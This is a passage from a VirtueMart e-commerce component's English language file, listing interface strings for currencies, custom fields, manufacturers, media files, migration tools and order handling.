will display a price like "+ 42,23 €"" COM_VIRTUEMART_CURRENCY_END_DATE="End date" COM_VIRTUEMART_CURRENCY_ERR_CODE="You must enter a code for the currency." COM_VIRTUEMART_CURRENCY_ERR_DELETE_SELECT="Please select a currency to delete." COM_VIRTUEMART_CURRENCY_EXCHANGE_RATE="Exchange Rate" COM_VIRTUEMART_CURRENCY_FOR_VENDORS="Currency function Forbidden for non vendors" COM_VIRTUEMART_CURRENCY_NAME="currency name" COM_VIRTUEMART_CURRENCY_NEGATIVE_DISPLAY="Negative Format" COM_VIRTUEMART_CURRENCY_NUMERIC_CODE="Numeric Code" COM_VIRTUEMART_CURRENCY_POSITIVE_DISPLAY="Positive Format" COM_VIRTUEMART_CURRENCY_S="Currencies" COM_VIRTUEMART_CURRENCY_START_DATE="Start date" COM_VIRTUEMART_CURRENCY_SYMBOL="Currency Symbol" COM_VIRTUEMART_CURRENCY_THOUSANDS="Thousands Separator" COM_VIRTUEMART_CURRENTLY_NOT_AVAILABLE="This product is currently not available." COM_VIRTUEMART_CURRENT_TRANSACTION_KEY="Current Transaction Key" COM_VIRTUEMART_CUSTOM="Custom Fields" COM_VIRTUEMART_CUSTOMER_RATING="Average shopper rating" COM_VIRTUEMART_CUSTOM_ACTIVATE_JAVASCRIPT="Some Plugin can contain Javascript. Please click on 'Apply' button (Joomla 1.5.x), or 'Save' button (Joomla 2.5.x) to display the appropriate parameters" COM_VIRTUEMART_CUSTOM_ADMIN_ONLY="Admin only" COM_VIRTUEMART_CUSTOM_BOOL="Boolean" COM_VIRTUEMART_CUSTOM_CANNOT_PARENT="The custom record itself cannot be the parent !" COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT="Cart User Variant" COM_VIRTUEMART_CUSTOM_CART_VARIANT="Cart Variant" COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY="The Custom Type(s) was successfully cloned" COM_VIRTUEMART_CUSTOM_DEFAULT="Default value" COM_VIRTUEMART_CUSTOM_EDITOR="Editor" COM_VIRTUEMART_CUSTOM_EXTENSION="Plug-ins" COM_VIRTUEMART_CUSTOM_FIELD_DESCRIPTION="Description" COM_VIRTUEMART_CUSTOM_FIELD_PRICE="Price: " COM_VIRTUEMART_CUSTOM_FIELD_TYPE="Custom Field Type: " COM_VIRTUEMART_CUSTOM_ID="custom id" COM_VIRTUEMART_CUSTOM_IMAGE="Image" COM_VIRTUEMART_CUSTOM_INT="Integer" COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE="Cart Attribute" COM_VIRTUEMART_CUSTOM_IS_HIDDEN="Hidden" COM_VIRTUEMART_CUSTOM_IS_LIST="Is a list?" COM_VIRTUEMART_CUSTOM_LAYOUT_POS="Layout position" COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY="Fail to clone the Custom Type(s)" COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT="No child product" COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION="No relation found" COM_VIRTUEMART_CUSTOM_NO_TYPES="No custom Fields. Please use select list to add some new fields" COM_VIRTUEMART_CUSTOM_PAGE_TITLE="Custom Page Title" COM_VIRTUEMART_CUSTOM_PARENT="Parent" COM_VIRTUEMART_CUSTOM_PO="Parent orderable" COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD="Child product" COM_VIRTUEMART_CUSTOM_SAVE_FROM_CHILD="Overwrite plugin values of the parent" COM_VIRTUEMART_CUSTOM_STRING="String" COM_VIRTUEMART_CUSTOM_TEXTAREA="Textarea" COM_VIRTUEMART_CUSTOM_TIP="Tooltip" COM_VIRTUEMART_CUSTOM_TITLE="Title" COM_VIRTUEMART_CUSTOM_WP="Display parent as option" COM_VIRTUEMART_DATE="Date" ; This is not valid joomla 1.7 !!! COM_VIRTUEMART_DATE_FORMAT_LC="%A, %d %B %Y" COM_VIRTUEMART_DATE_FORMAT_LC_J16="%A, %d %B %Y" ; INPUT_J16 is used to generate date for datepicker and must be contain only m d and y with the separators COM_VIRTUEMART_DATE_FORMAT_INPUT_J16="m/d/y" ; see http://docs.jquery.com/UI/Datepicker/formatDate to find the JS format COM_VIRTUEMART_DAY="Day" COM_VIRTUEMART_DEFAULT="Default" COM_VIRTUEMART_DEFAULT_TOP_LEVEL="Default-Top Level" COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY="Default Vendor Currency" COM_VIRTUEMART_DELETE="Delete" COM_VIRTUEMART_DELETED_X_CUSTOM_FIELD_ITEMS="%s custom field items have been deleted" COM_VIRTUEMART_DELETED_X_MEDIA_ITEMS="%s media items have been deleted" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH="Reset all tables and do a fresh install" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH_CONFIRM_JS="This deletes all tables of VirtueMart and makes a fresh install (no files). Are you sure?" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE="Reset all tables and install sample data" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE_CONFIRM_JS="This deletes all tables of VirtueMart and makes a demo install (no files). Are you sure?" COM_VIRTUEMART_DELETE_GENERAL_WARNING="Warning" COM_VIRTUEMART_DELETE_MSG="Are you sure you want to delete this record?" COM_VIRTUEMART_DELETE_RECORD="Delete this record" COM_VIRTUEMART_DELIVERYNOTE="Delivery Note" COM_VIRTUEMART_DELIVERYNOTE_CREATE="Create Delivery Note" COM_VIRTUEMART_DELIVERY_TIME="Usually ships in" COM_VIRTUEMART_DESC="Descending Order" COM_VIRTUEMART_DESCRIPTION="Description" COM_VIRTUEMART_DETAILS="Details" COM_VIRTUEMART_DISABLE_ITEM="Disable Item" COM_VIRTUEMART_DISPLAY_END="End Value" COM_VIRTUEMART_DISPLAY_STEP="Step Value" COM_VIRTUEMART_DISPLAY_STOCK="Display stock level" COM_VIRTUEMART_DISPLAY_STOCK_EXPLAIN="If enabled the stock level will be displayed in product category layout" COM_VIRTUEMART_DOCUMENTATION="Documentation" COM_VIRTUEMART_DOWNLOADABLE="Downloadable" COM_VIRTUEMART_DO_LOGIN="You need to login" COM_VIRTUEMART_DRDOWN_AVA2ALL="Available for all" COM_VIRTUEMART_DRDOWN_NONE="None" COM_VIRTUEMART_DRDOWN_NOTMULTILINGUAL="Select languages if your shop is Multilingual" COM_VIRTUEMART_DRDOWN_SELALL="Select all" COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS="Select some options" COM_VIRTUEMART_EDIT="Edit" COM_VIRTUEMART_EDITSHOP="Edit" COM_VIRTUEMART_EDIT_PARENT="Edit product parent" COM_VIRTUEMART_EDIT_REVIEW="Edit" COM_VIRTUEMART_EMAIL="Email" COM_VIRTUEMART_EMAIL_SENDTO="A confirmation email has been sent to" COM_VIRTUEMART_EMPTY_CATEGORY="This Category is currently empty." COM_VIRTUEMART_ENABLED="Enabled" COM_VIRTUEMART_ENABLE_ITEM="Enable item" COM_VIRTUEMART_ENCODE_INSECURE="ENCODE (insecure)" COM_VIRTUEMART_END_DATE="End Date" COM_VIRTUEMART_ENQUIRY="Enquiry" COM_VIRTUEMART_ENTER_VALID_DATE="Please enter a valid date format (YYYY-MM-DD)" COM_VIRTUEMART_ENTER_VALUE_FIELD="Please enter a value into the Field" COM_VIRTUEMART_ERROR="Error" COM_VIRTUEMART_ERROR_BODY="Hello,\n\n%s. The details are logged in the file %s\n\nThe VirtueMart Team" COM_VIRTUEMART_ERROR_SUBJECT="An error with your payment %s on your store %s" COM_VIRTUEMART_EXCLUDING_TAX="(excluding tax)" COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND="Reminder! Also update your extensions with the AIO installer" COM_VIRTUEMART_E_IMAGES="Images" COM_VIRTUEMART_E_REMOVE="Remove" COM_VIRTUEMART_FEATURED="Featured" COM_VIRTUEMART_FEATURED_PRODUCT="Featured Products" COM_VIRTUEMART_FEATURED_PRODUCTS_LIST_LBL="Featured & Discounted Products" COM_VIRTUEMART_FEE="Fee" COM_VIRTUEMART_FEED_FEATURED_EXTENSION="Featured Extensions" COM_VIRTUEMART_FEED_LATEST_EXTENSION="Latest Extensions" COM_VIRTUEMART_FEED_LATEST_NEWS="Latest News" COM_VIRTUEMART_FEED_POPULAR_EXTENSION="Popular Extensions" COM_VIRTUEMART_FEED_SUBSCRIBE_TITLE="Subscribe to the Feed of the latest Products!" COM_VIRTUEMART_FEED_SUBSCRIBE_TOCATEGORY_TITLE="Subscribe to the Feed of the latest Products in this Category!" COM_VIRTUEMART_FIELDMANAGER_COREFIELD="User field from Joomla core" COM_VIRTUEMART_FIELDMANAGER_HIDE_ACCOUNT="Account" COM_VIRTUEMART_FIELDMANAGER_HIDE_REGISTRATION="Registration" COM_VIRTUEMART_FIELDMANAGER_HIDE_SHIPPING="Shipment" COM_VIRTUEMART_FIELDMANAGER_NAME="Field name" COM_VIRTUEMART_FIELDMANAGER_REORDER="Reorder" COM_VIRTUEMART_FIELDMANAGER_REQUIRE="Required" COM_VIRTUEMART_FIELDMANAGER_REQUIRED="Required" COM_VIRTUEMART_FIELDMANAGER_SHOW_ACCOUNT="Account" COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE="Show/Hide in:" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT="Show in account maintenance" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION="Show in registration form" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING="Show in shipment form" COM_VIRTUEMART_FIELDMANAGER_SHOW_REGISTRATION="Registration" COM_VIRTUEMART_FIELDMANAGER_SHOW_SHIPPING="Shipment" COM_VIRTUEMART_FIELDMANAGER_TITLE="Field title" COM_VIRTUEMART_FIELDMANAGER_TYPE="Field type" COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE="Not Required" COM_VIRTUEMART_FIELDS_AGEVERIFICATION="Age Verification (Date Select Fields)" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_ATTRIBUTES="Age Verification (Date Select Fields) Attributes" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_MINIMUM="Specify the minimum Age" COM_VIRTUEMART_FIELDS_CAPTCHA="Captcha Field (using com_securityimages)" COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE="Check Box (Multiple Select)" COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE="Check Box (Single Select)" COM_VIRTUEMART_FIELDS_DATE="Date" COM_VIRTUEMART_FIELDS_DELIMITER="--- Fieldset delimiter ---" COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE="Drop Down (Multi Select)" COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE="Drop Down (Single Select)" COM_VIRTUEMART_FIELDS_EDITORAREA="Editor Text Area" COM_VIRTUEMART_FIELDS_EMAIL="Email Address" COM_VIRTUEMART_FIELDS_NEWSLETTER="Newsletter Subscription" COM_VIRTUEMART_FIELDS_RADIOBUTTON="Radio Button" COM_VIRTUEMART_FIELDS_TEXTAREA="Text Area" COM_VIRTUEMART_FIELDS_TEXTFIELD="Text Field" COM_VIRTUEMART_FIELDS_WEBADDRESS="Web Address" COM_VIRTUEMART_FIELD_TYPE="Field Type" COM_VIRTUEMART_FILES_FILE_DELETE_FAILURE="Could not delete the File." COM_VIRTUEMART_FILES_FILE_DELETE_SUCCESS="File successfully deleted." COM_VIRTUEMART_FILES_FULLIMG_DELETE_FAILURE="Could not delete the Full Image File." COM_VIRTUEMART_FILES_FULLIMG_DELETE_SUCCESS="Full Image successfully deleted." COM_VIRTUEMART_FILES_IMAGE_RESIZE_SUCCESS="The Thumbnail Image has been successfully created!" COM_VIRTUEMART_FILES_LIST="Files List" COM_VIRTUEMART_FILES_LIST_FILENAME="Filename" COM_VIRTUEMART_FILES_LIST_FILETITLE="File Title" COM_VIRTUEMART_FILES_LIST_FILETYPE="Filetype" COM_VIRTUEMART_FILES_LIST_GO_UP="Go Up" COM_VIRTUEMART_FILES_LIST_ROLE="Role" COM_VIRTUEMART_FILES_LIST_UP="Up" COM_VIRTUEMART_FILES_NOT_FOUND="Sorry, but the requested file wasn't found!" COM_VIRTUEMART_FILES_PATH_ERROR="Please provide a valid path!" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_FAILURE="Could not delete the Thumbnail Image File (maybe didn't exist)" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_SUCCESS="Thumbnail Image successfully deleted." COM_VIRTUEMART_FILES_UPLOAD_FAILURE="File/Image Upload Error" COM_VIRTUEMART_FILE_DELETE_ERR="File could not be deleted %s" COM_VIRTUEMART_FILE_DELETE_OK="File deleted" COM_VIRTUEMART_FILE_SAVED_SUCCESS="Media File saved successfully" COM_VIRTUEMART_FILE_UPLOAD_OK="File %s uploaded" COM_VIRTUEMART_FILTER="Filter" COM_VIRTUEMART_FILTER_BY="Filter by" COM_VIRTUEMART_FOLDER_NOT_EXIST="Folder %s does not exist. You can create it, and place your images inside." COM_VIRTUEMART_FORM_EDIT=": [ Edit ]" COM_VIRTUEMART_FORM_GENERAL="General Informations" COM_VIRTUEMART_FORM_NEW=": [ New ]" COM_VIRTUEMART_FOR_SALE="File is for Sale" COM_VIRTUEMART_FOR_VIEW_WITH_PRESELECTED_MANUFACTURER="for a view with preselected manufacturer" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT="Minimum Amount for Free Shipment" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT_TIP="The amount (INCLUDING TAX!) which is the Minimum for Free Shipment (example: 50 means Free Shipment when the customer checks out with $50 (including tax) or more." COM_VIRTUEMART_FREE_SHIPPING_CART="Shipment is free on this Order" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS="Generally prevent https connections?" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS_TIP="When checked, the shopper is redirected to the http URL when not browsing in those shop areas, which are forced to use https." COM_VIRTUEMART_GO="Go" COM_VIRTUEMART_GROUP_NAME="Permission group name" COM_VIRTUEMART_HELP="Help" COM_VIRTUEMART_HELP_ABOUT="VirtueMart is the complete Open Source E-Commerce solution for Joomla!. It is an Application, which comes with a Component, more than 6 Modules and Mambots/Plugins. It has its roots in a Shopping Cart Script called 'phpShop' (Authors: Edikon Corp. & the phpShop community)." COM_VIRTUEMART_HELP_DONATION_BUTTON_ALT="Make payments with PayPal ‚Äì it's fast, free and secure!" COM_VIRTUEMART_HELP_DONATION_DESC="Please consider a small donation to the VirtueMart Project to help us keep up the work on this Component and create new Features." COM_VIRTUEMART_HELP_HOMEPAGE="Homepage" COM_VIRTUEMART_HELP_LICENSE_DESC="VirtueMart is licensed under the {licensename} License." COM_VIRTUEMART_HELP_PROJECTLEADER="Project Leader" COM_VIRTUEMART_HELP_TEAM="There is a small team of Developers who help in evolving this Shopping Cart Script." COM_VIRTUEMART_HELP_TOPICS="Help Topics" COM_VIRTUEMART_HELP_YOURVERSION="Your {product} version" COM_VIRTUEMART_HI="Hi," COM_VIRTUEMART_HIDE_OUT_OF_STOCK="Hide out of stock products" COM_VIRTUEMART_HTACCESS_DEFAULT_NOT_CREATED="Could not protect the folder %1s with an .htaccess file. Please add a file .htaccess to that folder containing the data %2s" COM_VIRTUEMART_ID="Id" COM_VIRTUEMART_IMAGE="Image" COM_VIRTUEMART_IMAGES="Images" COM_VIRTUEMART_INCLUDING_TAX="(including $tax % tax)" COM_VIRTUEMART_INFO_MSG_VAT_ZERO_LBL="0 (-none-)" COM_VIRTUEMART_INSTALLATION_PLZ_RENEW_CONFIG="Please use renew config from file in Tools => Updates/Migration" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="The Installation was SUCCESSFUL" COM_VIRTUEMART_INSTALLATION_WELCOME="Welcome to VirtueMart
The complete e-Commerce shopping cart solution for Joomla" COM_VIRTUEMART_INSTALL_DONATION="Please consider a small donation to help us keep up the work on this component." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Go to VirtueMart for further Help" COM_VIRTUEMART_INSTALL_GO_SHOP="Go to the Shop" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Install Sample Data" COM_VIRTUEMART_INTNOTES="Product Internal Notes" COM_VIRTUEMART_INVOICE="Invoice" COM_VIRTUEMART_INVOICE_CREATE="Force creation of invoice" COM_VIRTUEMART_INVOICE_NUMBER_RESERVED="InvoiceNumber is Reserved by Payment." COM_VIRTUEMART_INVOICE_PRINT="Print Invoice" COM_VIRTUEMART_ITEM="Item" COM_VIRTUEMART_ITEMS_MOVED="You sorted a total of %s Items" COM_VIRTUEMART_ITEMS_NOT_MOVED="items was already well-sorted" COM_VIRTUEMART_ITEM_MOVED_DOWN="Item Moved Down" COM_VIRTUEMART_ITEM_MOVED_UP="Item Moved Up" COM_VIRTUEMART_ITEM_NEXT="next order" COM_VIRTUEMART_ITEM_PREVIOUS="previous order" COM_VIRTUEMART_I_AGREE_TO_TOS="I agree to the Terms of Service" COM_VIRTUEMART_JPLUGINWARNING="Please configure VirtueMart Shipment or Payment Plugins inside VirtueMart component" ; JAVASCRIPT Declaration, respect the Json format use this format "key: 'value',..." DO NOT EDIT /change KEY COM_VIRTUEMART_JS_STRINGS=" editImage: 'edit image',select_all_text: 'select all options',select_some_options_text :'Select some Options', select_an_option_text:'Select an Option'" COM_VIRTUEMART_LANG_IS_EMPTY="No (%1$s) translation in %2$s, please fill the fields with Flags" COM_VIRTUEMART_LAST_UPDATED="Last Updated" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_MODIFIED="Last modified products first" COM_VIRTUEMART_LEGALINFO_SHORTTEXT="
Returns Policy
You can cancel this order within two weeks after we have received it. You can return new, unopened items from a cancelled order within 2 weeks after they have been delivered to you. Items should be returned in their original packaging. For more information on cancelling orders and returning items, see the Our Returns Policy page." COM_VIRTUEMART_LIST="List" COM_VIRTUEMART_LISTREVIEWS="List Reviews" COM_VIRTUEMART_LIST_ALL_PRODUCTS="List All Products" COM_VIRTUEMART_LIST_ALL_ROLES="All roles" COM_VIRTUEMART_LIST_ALL_TYPES="All types" COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT="List all %s children" COM_VIRTUEMART_LIST_EMPTY_OPTION="Please Select" COM_VIRTUEMART_LIST_ORDER="List Order" COM_VIRTUEMART_LOG="Log" COM_VIRTUEMART_LOST_PASSWORD="Lost Password?" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION="Low Stock Notification" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_MESSAGE="There are only {product_in_stock} stock remaining for the product {product_name} (SKU {product_sku})." COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_SUBJECT="Low Stock reached for %s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_C="[%3$s], Confirmed order at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_P="[%3$s], Order is pending at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_R="[%3$s], Refunded order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_S="[%3$s], Shipped order from %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_U="[%3$s], You confirmed an order at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_X="[%3$s], Cancelled order by %1$s, total %2$s" COM_VIRTUEMART_MANAGE_USER_FIELDS="Shopper Field List" COM_VIRTUEMART_MANUFACTURER="Manufacturer" COM_VIRTUEMART_MANUFACTURERCATEGORIES="Manufacturer category" COM_VIRTUEMART_MANUFACTURER_CATEGORY="Manufacturer category" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DESCRIPTION="Manufacturer category Description" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DETAILS="Manufacturer category Details" COM_VIRTUEMART_MANUFACTURER_CATEGORY_LIST="List" COM_VIRTUEMART_MANUFACTURER_CATEGORY_NAME="Manufacturer category Name" COM_VIRTUEMART_MANUFACTURER_CATEGORY_S="Manufacturer categories" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_INFO_LBL="Category Information" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_LBL="Manufacturer Category Form" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_NAME="Category Name" COM_VIRTUEMART_MANUFACTURER_CAT_LIST_LBL="Manufacturer Category List" COM_VIRTUEMART_MANUFACTURER_CAT_MANUFACTURERS="Manufacturers" COM_VIRTUEMART_MANUFACTURER_CAT_NAME="Category Name" COM_VIRTUEMART_MANUFACTURER_DESCRIPTION="Description" COM_VIRTUEMART_MANUFACTURER_DETAILS="Manufacturer Details" COM_VIRTUEMART_MANUFACTURER_EMAIL="Manufacturer Email" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="Creates a link to display the selected Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE_DESC="Creates a link to the Manufacturer" COM_VIRTUEMART_MANUFACTURER_FORM_INFO_LBL="Manufacturer Information" COM_VIRTUEMART_MANUFACTURER_IMAGE="Manufacturer image" COM_VIRTUEMART_MANUFACTURER_LIST_ADMIN="Admin" COM_VIRTUEMART_MANUFACTURER_MOD="Manufacturers" COM_VIRTUEMART_MANUFACTURER_NAME="Manufacturer Name" COM_VIRTUEMART_MANUFACTURER_S="Manufacturers" COM_VIRTUEMART_MANUFACTURER_SHOW="Show all manufacturer in this category" COM_VIRTUEMART_MANUFACTURER_URL="Manufacturer URL" COM_VIRTUEMART_MANUFACTURER_URL_TIP="Manufacturer URL must start with http://" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Displays VirtueMart manufacturers List" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="VirtueMart Manufacturer Default Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Displays VirtueMart Manufacturer Details Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="VirtueMart Manufacturer Details Layout" COM_VIRTUEMART_MEDIA="Media" COM_VIRTUEMART_MEDIA_CHOOSE_TYPE="Choose media type for media with filename %1$s" COM_VIRTUEMART_MEDIA_MANAGER="Media File Manager" COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE="Media files must have a title" COM_VIRTUEMART_MEDIA_MUST_HAVE_URL="Media files must have an url" COM_VIRTUEMART_MEDIA_NO_PATH_TYPE="Media of type %1$s has no relative URL set, Please configure it first and come back here." COM_VIRTUEMART_MEDIA_S="Media Files" COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE="Media file %s should have a mimetype" COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP="Bmp file %s is not good choice for internet" COM_VIRTUEMART_MENU="Menu" COM_VIRTUEMART_MESSAGE_PROMPT="Enter your Message" COM_VIRTUEMART_METAAUTHOR="Author" COM_VIRTUEMART_METADESC="Meta Description" COM_VIRTUEMART_METAINFO="Meta Information" COM_VIRTUEMART_METAKEY="Meta Keywords" COM_VIRTUEMART_METAROBOTS="Meta Robots" COM_VIRTUEMART_MF_CATEGORY_NAME="manufacturer category name" COM_VIRTUEMART_MF_NAME="Manufacturer Name" COM_VIRTUEMART_MIGRATE="Start migration" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE="Default category layout (browse page) without .php" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE_TIP="Enter here your default browse, to prevent that VM2 is handling it as override. You can set your default in the common vm config and per category" COM_VIRTUEMART_MIGRATION_DCAT_FLY="Default category product layout (flypage) without .php" COM_VIRTUEMART_MIGRATION_DCAT_FLY_TIP="Enter here your default flypage, to prevent that VM2 is handling it as override. You can set your default in the common vm config and per category and additionally per product" COM_VIRTUEMART_MIGRATION_REWRITE_ORDER_NUMBER="Rewrite order numbers" COM_VIRTUEMART_MIGRATION_STOREOWNERID="Write here the new store owner id" COM_VIRTUEMART_MIGRATION_TAB="Migration" COM_VIRTUEMART_MIGRATION_UPDATE="Tools & Migration" COM_VIRTUEMART_MIGRATION_USER_ORDER_ID ="Use the vm1 order id as vm2 order number" COM_VIRTUEMART_MIGRA_PORTFLY="Port Fly pages" COM_VIRTUEMART_MIGRA_PORTFLY_TIP="In case you used different flypages in VM1 and you want to keep this system. Be aware it is NOT necessary anylonger to use different flypage for different number of products per row." COM_VIRTUEMART_MIGRA_SGRP_PRICES="Port shoppergroups assigned to prices" COM_VIRTUEMART_MIGRA_SGRP_PRICES_TIP="We suggest not to use this feature, except you are using multiple prices per product and shoppergroup." COM_VIRTUEMART_MISSING_FLAG="Missing Flag %1$s for language %2$s.
Go to Extensions > Language Manager > Content, and check the parameter Image Prefix for this language." COM_VIRTUEMART_MODIFIED_ON="Product Modified Date" COM_VIRTUEMART_MODULES_FORCE_HTTPS="Shop areas which must use https" COM_VIRTUEMART_MODULES_FORCE_HTTPS_TIP="Here you can use a comma-separated list of shop core modules (See 'Admin' ='> 'List Modules'), which will be using https connections." COM_VIRTUEMART_MONTH="Month" COM_VIRTUEMART_MONTH_S="Months" COM_VIRTUEMART_MORE="More..." COM_VIRTUEMART_MORE_CATEGORIES="more categories" COM_VIRTUEMART_MORE_IMAGES="View More Images" COM_VIRTUEMART_MORE_LANGUAGES="More languages here %1$s" COM_VIRTUEMART_MOVE="Delete/Move" COM_VIRTUEMART_MOVE_DOWN="Move Down" COM_VIRTUEMART_MOVE_UP="Move Up" COM_VIRTUEMART_MULTIPLE_PRICES="Multiple Prices" COM_VIRTUEMART_MULTISELECT="Multiselect" COM_VIRTUEMART_NAME="Name" COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS="The name of the userfield contains invalid characters" COM_VIRTUEMART_NEVER="-Never-" COM_VIRTUEMART_NEW_ITEM="New item" COM_VIRTUEMART_NEW_ITEMS_PLACE="New items default to the last place. Ordering can be changed after this item is saved." COM_VIRTUEMART_NEW_ORDERING_SAVED="New ordering saved" COM_VIRTUEMART_NEW_ORDERING_SAVEDF="New ordering saved using %s field" COM_VIRTUEMART_NEW_USER_MESSAGE="Hello %s, a new user have registered at %s." COM_VIRTUEMART_NEW_USER_MESSAGE_SUBJECT="New User Details" COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT="A new user %1$s registered at your shop" COM_VIRTUEMART_NEW_VENDOR="New Vendor" COM_VIRTUEMART_NO="No" COM_VIRTUEMART_NONE="None" COM_VIRTUEMART_NON_UNIQUE="Error cant save %s without a non unique %s" COM_VIRTUEMART_NON_UNIQUE_WARN="%s was not unique in table %s, added random number: %s" COM_VIRTUEMART_NOODP_NOYDIR="noodp, noydir" COM_VIRTUEMART_NOODP_NOYDIR_NOFOLLOW="noodp, noydir, no follow" COM_VIRTUEMART_NOTIFIED="Notified" COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND="Could not send a message to " COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG="Message sent to" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA="Was not able to save the VirtueMart userinfo address data" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA="Was not able to save the VirtueMart user data" COM_VIRTUEMART_NOT_AUTH="You are not authorized to view this resource." COM_VIRTUEMART_NO_ACCOUNT="No Account yet?" COM_VIRTUEMART_NO_CUSTOMER="You are not a Registered Shopper yet. Please provide your Billing Information." COM_VIRTUEMART_NO_DESCRIPTION_FOUND="No description found" COM_VIRTUEMART_NO_FILES_FOUND="No files found" COM_VIRTUEMART_NO_IMAGE_FOUND="no image found" COM_VIRTUEMART_NO_IMAGE_SET="No image set" COM_VIRTUEMART_NO_ITEMS_SELECTED="No Items Selected" COM_VIRTUEMART_NO_MEDIA="Sorry,It's not a valid media file" COM_VIRTUEMART_NO_MEDIA_FILES="No Images Found" COM_VIRTUEMART_NO_MORE_ORDERS="No more Orders" COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED="There are no payment plugins installed, please go to http://dev.VirtueMart.net/projects/VirtueMart/files and download/install the latest com_virtuemart_aio" COM_VIRTUEMART_NO_PRICE_SET="No price set" COM_VIRTUEMART_NO_RESTRICTION="No Restriction" COM_VIRTUEMART_NO_REVIEWS="There are yet no reviews for this product." COM_VIRTUEMART_NO_SEARCH_RESULT="Your search returned 0 results.
" COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED="There are no shipment plugins installed, please go to http://dev.VirtueMart.net/projects/VirtueMart/files and download/install the latest com_virtuemart_aio" COM_VIRTUEMART_NO_VALID_DOWNLOADROOT_SET="Download directory not set" COM_VIRTUEMART_OFFLINE_MODE="OFFLINE MODE" COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER="Please use register to get the advantages of a registered user, else use save for guest checkout" COM_VIRTUEMART_ONLY_JUSER="only joomla" COM_VIRTUEMART_OPERATION_CANCELED="Operation Canceled!!" COM_VIRTUEMART_ORDER="Order" COM_VIRTUEMART_ORDERBY="Sort by" COM_VIRTUEMART_ORDERING="Ordering" COM_VIRTUEMART_ORDERS="Orders" COM_VIRTUEMART_ORDERSTATUS="Order Status" COM_VIRTUEMART_ORDERSTATUS_DETAILS="Order Status Details" COM_VIRTUEMART_ORDERSTATUS_S="Order Statuses" COM_VIRTUEMART_ORDERS_LIST="Order list" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="VirtueMart List Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="VirtueMart List Orders" COM_VIRTUEMART_ORDER_CHANGE_UPD_BILL="Change Bill to Address" COM_VIRTUEMART_ORDER_CHANGE_UPD_SHIP="Change Ship to Address" 